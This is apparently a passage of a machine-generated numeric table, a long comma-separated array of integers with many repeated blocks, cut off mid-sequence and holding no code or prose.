58,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,31568,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22690,19288,19457,36866,17466,36890,36866,21991,27584,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,22659,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22360,19552,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22675,22811,19457,36866,17466,36890,36866,19133,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22827,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36064,19288,22865,22881,32031,22897,22913,22956,29939,24035,24035,24035,23003,23114,23114,23114,23024,22420,23511,23511,23511,23052,29116,23073,29268,24035,25563,26915,23106,23131,23114,23114,23159,23181,23197,23248,23511,23511,23282,23305,22493,32364,24035,33472,30138,26325,31770,33508,27345,33667,23114,23321,23473,23351,35793,36576,23511,23375,22500,24145,24035,29197,20192,24533,23440,23114,19017,23459,22839,23489,23510,23511,33563,23528,32076,25389,24035,26576,23561,23583,23114,32683,22516,23622,23655,23511,23634,35456,37144,23110,23683,34153,20499,32513,25824,23705,24035,24035,23111,23114,19874,27078,33263,19830,24035,23112,19872,27741,23266,24036,23114,30243,20507,32241,20150,31862,27464,35108,23727,23007,35895,34953,26578,27685,20141,24569,31691,19787,33967,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36427,19552,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,27027,26576,23114,23114,23114,31471,23756,22468,23511,23511,23511,34687,23772,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,23788,24035,24035,24035,21559,23828,23114,23114,23114,25086,22839,23853,23511,23511,23511,23876,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,31761,23909,23953,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36049,19288,21605,30825,23112,23987,23511,24003,31001,27617,24034,24035,24036,24052,24089,23114,23114,22420,24109,24168,23511,23511,29116,24188,27609,20017,29516,24035,26576,24222,19968,23114,24252,33811,22468,24270,33587,23511,24320,27443,22493,24035,24035,24035,24035,24339,23113,23114,23114,23114,28128,28618,29700,23511,23511,23511,28276,34564,20402,24035,24035,32929,24036,23114,23114,23114,24357,23029,22839,23511,23511,23511,24377,25645,24035,34112,24035,26576,23114,26643,23114,32683,22516,23511,25638,23511,23711,24035,24395,27809,23114,24414,20499,24432,30917,23628,24035,30680,23111,23114,30233,27078,25748,24452,24035,23112,19872,27741,23266,24036,23114,24475,19829,26577,26597,26154,24519,24556,24596,23007,20046,20132,26578,24634,20141,24569,31691,24679,24727,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36412,19288,21605,19943,34861,32618,26027,29483,32016,32050,36233,24776,35574,24801,24819,32671,31289,22420,24868,24886,20087,26849,29116,19803,24035,24035,24035,36228,26576,23114,23114,23114,24981,33811,22468,23511,23511,23511,29028,27443,22493,24923,27965,24035,24035,32797,24946,23443,23114,23114,29636,24997,22849,28252,23511,23511,23511,25042,25110,24035,24035,34085,24036,25133,23114,23114,25152,23029,22839,25169,23511,36764,23511,25645,30403,24035,25186,26576,31806,24093,25212,32683,22516,32713,26245,34293,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,32406,23111,23114,28676,30944,27689,25234,24035,23112,19872,37063,23266,24036,23114,30243,20379,26100,29218,20211,30105,25257,25284,23007,20046,20132,26578,27685,20141,24569,24834,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36034,19288,21671,25314,25072,25330,25346,25362,29939,29951,35288,29984,23812,27216,25405,25424,30456,22584,26292,25461,25480,31592,29116,25516,34963,25545,27007,25579,33937,25614,25661,25686,34872,25702,25718,25734,25769,25795,25811,25840,22493,26533,25856,24035,25876,30763,27481,25909,23114,28987,25936,25954,29700,25983,23511,31412,26043,26063,22568,29241,29592,26116,31216,35383,26170,34783,26194,26221,22839,26241,26261,22477,26283,26308,27306,31035,24655,26576,29854,33386,26341,32683,22516,32153,30926,26361,19996,26381,35463,26397,26424,34646,26478,35605,31386,26494,35567,31964,22940,23689,25218,30309,32289,19830,33605,23112,32109,27733,27084,24496,35886,35221,26525,36602,26549,26558,26574,26594,26613,26629,26666,26700,26578,27685,23740,24285,31691,26733,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36397,19552,18991,25887,28117,32618,26776,29483,29939,26802,24035,24035,24036,28664,23114,23114,23114,22420,30297,23511,23511,23511,29116,19803,24035,24035,24035,25559,26576,23114,23114,23114,30525,33811,22468,23511,23511,23511,28725,27443,22493,24035,24035,27249,24035,24035,23113,23114,23114,26827,23114,28618,29700,23511,23511,26845,23511,34564,20402,24035,24035,26979,24036,23114,23114,23114,24974,23029,22839,23511,23511,23511,26865,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,33305,24035,25598,23114,19874,34253,27689,19830,24035,23112,19872,27741,23266,24036,23114,26886,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,26931,24569,26439,26947,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36019,19288,26995,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,27043,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,27061,23511,23511,23511,23511,23512,24694,24035,24035,29978,24035,24035,23113,23114,33114,23114,23114,30010,29700,23511,35913,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,27155,26576,23114,23114,30447,23036,29695,23511,23511,30935,20099,24152,25529,27100,34461,27121,22625,29156,26009,27137,30422,31903,31655,28870,27171,32439,31731,19830,27232,22612,27265,26786,25494,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,20342,27288,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,27322,27339,28020,27361,27382,29939,24035,24035,32581,24036,23114,23114,23114,27425,22420,23511,23511,23511,27442,28306,19803,24035,24035,24035,24035,26710,23114,23114,23114,23114,32261,22468,23511,23511,23511,23511,35719,24694,29510,24035,24035,24035,24035,26717,23114,23114,23114,23114,28618,32217,23511,23511,23511,23511,34585,20402,24035,24035,24035,27459,23114,23114,23114,36252,23029,20271,23511,23511,23511,28840,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,27480,34483,28401,29761,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36382,19288,21605,27497,27517,28504,28898,27569,29939,29401,27600,27323,27633,19025,27662,23114,27705,22420,20483,27721,23511,27765,28306,19803,23540,24035,24610,27781,27805,26650,23114,28573,32990,25920,22468,26870,23511,26684,34262,34737,25057,34622,24035,24035,23971,24206,27825,27847,23114,23114,27865,27885,35766,27914,23511,23511,32766,32844,27934,28795,26909,27955,26092,27988,25445,28005,28036,28052,21965,23511,32196,19897,28072,28102,36534,21541,23801,28153,28180,28197,28221,23036,32695,28251,28268,28292,23667,34825,23930,24580,28322,28344,31627,28366,25996,23628,24035,24035,23111,23114,19874,27078,27689,35625,33477,33359,27674,28393,33992,24036,23114,30243,19829,28417,28433,28463,23008,19876,20208,23007,20046,20132,28489,28520,20141,24569,31691,19787,28550,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,28589,24035,24035,24035,24035,28608,23114,23114,23114,23114,28618,20431,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36004,19288,28634,31951,28565,28702,28718,28741,32544,20175,28792,32086,20105,28811,29059,29862,28856,22420,28886,30354,23359,28922,28306,28952,23888,26320,36506,24035,29331,28968,36609,23114,29003,31661,27061,30649,27366,23511,29023,27918,24694,24035,24035,23893,33094,30867,23113,23114,23114,29044,34184,30010,29700,23511,23511,29081,29102,34585,20402,27789,24035,24035,24036,23114,29132,23114,23114,23029,20271,23511,29153,23511,23511,30562,30174,24035,24035,27409,25438,23114,23114,29172,36668,31332,23511,23511,29192,30144,24035,23110,30203,23114,23467,31544,23261,23628,24035,22545,23111,23114,29213,27078,27689,29234,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,29257,23008,19876,20208,28768,29290,29320,34776,29353,20141,22435,29378,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36367,19288,21605,34616,19006,32618,31497,31507,36216,20184,24035,34393,29424,34668,23114,34900,29447,22420,30360,23511,37089,29473,28306,19803,29499,24398,24035,24035,26576,31799,29532,29550,23114,33811,22468,32298,29571,31184,23511,23512,37127,36628,29589,24035,24135,24035,23113,29608,23114,27831,29634,28618,29652,30037,23511,24172,29671,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,29555,29690,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,29719,24035,23110,29738,23114,23467,34035,29756,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,29777,34364,28181,30243,29799,31920,27272,27185,23008,31126,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29828,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35989,19552,19687,35139,28649,29878,29894,29924,29939,23224,23085,31969,24036,35173,24752,24803,23114,22420,31190,30318,24870,23511,28306,29967,23967,24035,24035,24035,26576,3e4,23114,23114,23114,33811,22468,30026,23511,23511,23511,23512,26078,24035,24035,24035,30053,37137,30071,23114,23114,33368,25136,28618,30723,23511,23511,37096,31356,34585,20402,30092,30127,30160,24036,35740,30219,24960,30259,23029,20271,34042,30285,30342,30376,23289,30055,30400,30419,30438,32640,33532,33514,30472,18792,26267,24323,23057,30493,23639,20008,30196,33188,30517,20075,23511,30541,23628,30578,33928,28776,30594,19874,30610,30637,19830,30677,27646,19872,25779,23266,23232,35016,30243,30696,29812,30712,30746,27206,30779,30807,23007,33395,20132,26578,27685,31703,22928,31691,19787,31079,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36352,19288,23335,30841,26131,30888,30904,30986,29939,24035,24704,31017,20025,23114,26178,31051,31095,22420,23511,22524,31142,31172,28534,31206,35497,25196,24035,28592,24503,23114,31239,31285,23114,31305,31321,31355,31372,31407,23511,30556,24694,24035,27501,19805,24035,24035,23113,23114,31428,24066,23114,28618,29700,23511,31837,18809,23511,34585,31448,24035,24035,24035,23090,23114,23114,23114,23114,31619,35038,23511,23511,23511,23511,33714,24035,33085,24035,29431,23114,31467,23114,23143,31487,23511,31523,23511,35195,36783,24035,30111,23567,23114,23467,31543,31560,23628,24035,24035,23111,23114,19874,30953,31584,34508,24035,31608,26345,37055,23266,31643,31677,31719,31747,31786,31822,26898,23008,19876,31859,23007,20046,20132,26578,27685,20141,24569,31691,31878,31936,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35974,19288,21605,27972,35663,31985,29655,32001,36715,24785,25893,23545,31912,19853,19916,25938,24540,22420,31843,29674,29573,32735,